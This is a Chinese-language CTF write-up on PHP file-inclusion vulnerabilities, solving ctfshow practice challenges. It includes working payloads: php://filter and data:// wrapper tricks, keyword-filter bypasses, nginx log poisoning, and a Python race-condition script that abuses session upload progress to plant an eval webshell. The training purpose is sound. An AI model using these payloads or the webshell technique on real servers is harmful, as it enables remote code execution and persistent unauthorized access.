文件包含

文件包含是一些文件包含函数产生的漏洞,如include,包含的是服务器的文件。其中include函数的特性,如果包含的文件是php,jsp等可执行的文件(png,jpg等不可执行)的话,会对文件进行解析,即执行一遍文件里的代码。

一般可以使用php伪协议读取相关文件内容。

PHP伪协议

pAD08PJ.png

其中,

  • file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

  • php://协议:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include

    • php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
    • php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。php://filter在双off的情况下也可以正常使用
    • php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
    • **data://**协议必须双在on才能正常使用;

以下题目均来自于ctfshow web入门练习题文件包含部分。

例题1、

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

没做任何限制,直接使用伪协议读取即可。

可以用filter():

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

也可以用data:

1
?file=data://text/plain,<?php system("tac flag.php")?>

这里其实也可以用file读取,

1
?file=file:///var/www/html/flag.php

但是读取成功后因为php不渲染所以不显示。

如果是用渲染的就可以用file读取了:

1
2
3
$file = $_GET['file'];
include($file);
highlight_file(__FILE__);

例题2、

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

第二题过滤了php,可以使用data协议+base64编码的形式读取或者使用php短标签。

1
?file=data://text/plain,<?= system("tac flag.php")?>

例题3、

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

第三题过滤了php和data,

因为linux系统是区分大写写的,可以使用大写pHp绕过(有时候不行)

使用php://input:(这里如果是谷歌的hackbar,需要把mode改成Raw格式,不然没有回显)

1
2
?file=pHp://input
<?php system('tac flag.php')?> //post写入

解法二

可以用日志包含

1
2
3
4
日志文件位置
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
/var/log/nginx/access.log

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

利用步骤:先抓包,将User-Agent改成,再向其中传值,得到目录结构

1
2
?file=/var/log/nginx/access.log
a=system('ls'); //post写入

例题4、

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了.,因此日志包含access.log也不能用了。

PHP里面唯一我们能控制的没有后缀的文件就是session文件,利用到PHP_SESSION_UPLOAD_PROGRESS来初始化session,并且会把上传文件的信息记录在session文件中,待上传文件结束后清除存储上传文件信息session文件,达到文件包含的目的。

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中(session.upload_progress文件包含漏洞)。

使用php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import io
import threading
import warnings

import requests
warnings.filterwarnings('ignore')

url = "https://ea8822ab-538b-4f6e-8c75-c9f9a904b208.challenge.ctf.show/"
sessid = 'ctfshow' # 设置 PHPSESSID 为 'ctfshow',PHP 将在 /tmp/sess_ctfshow 生成一个文件
data = {
"1": "file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}


def write(session):
# b'a' 创建一个单字节的字符 'a'。
# * 1024 * 50 将这个单字节字符 'a' 复制 1024 * 50 次,生成一个 50KB 的字节串。
filebytes = io.BytesIO(b'a' * 1024 * 50) # 创建一个大小为 50KB 的文件
while True:
session.post(url=url, data={
# 当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时
# 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' # 注入恶意代码
}, cookies={
'PHPSESSID': sessid # 设置会话 ID
}, files={
'file': ('ctfshow.jpg', filebytes) # 上传文件
}, verify=False)


def read(session):
while True:
res1 = session.post(url=url + r'?file=/tmp/sess_' + sessid, data=data, cookies= {
'PHPSESSID': sessid
}, verify=False)

res2 = session.get(url=url+'1.php', verify=False);
if res2.status_code == 200:
print('++++++++done+++++++++')
else:
print(res2.status_code)


if __name__ == '__main__':
# 使用多线程来执行 write 和 read 函数
event = threading.Event() # 创建一个新的事件对象。
with requests.session() as session:
for i in range(5):
# 创建一个单元素元组,需要在元素后面加逗号,逗号确保 Python 将其识别为元组,而不是括号中的单个值。
threading.Thread(target=write, args=(session,)).start() # 启动 20 个写线程
for i in range(5):
threading.Thread(target=read, args=(session,)).start() # 启动 20 个读线程
event.set() # 表示事件已经触发。所有在等待事件的线程将被唤醒并继续执行

运行脚本并成功写入后即可访问木马。

访问1.php,burp修改为post请求,并加入

1
a=system("ls");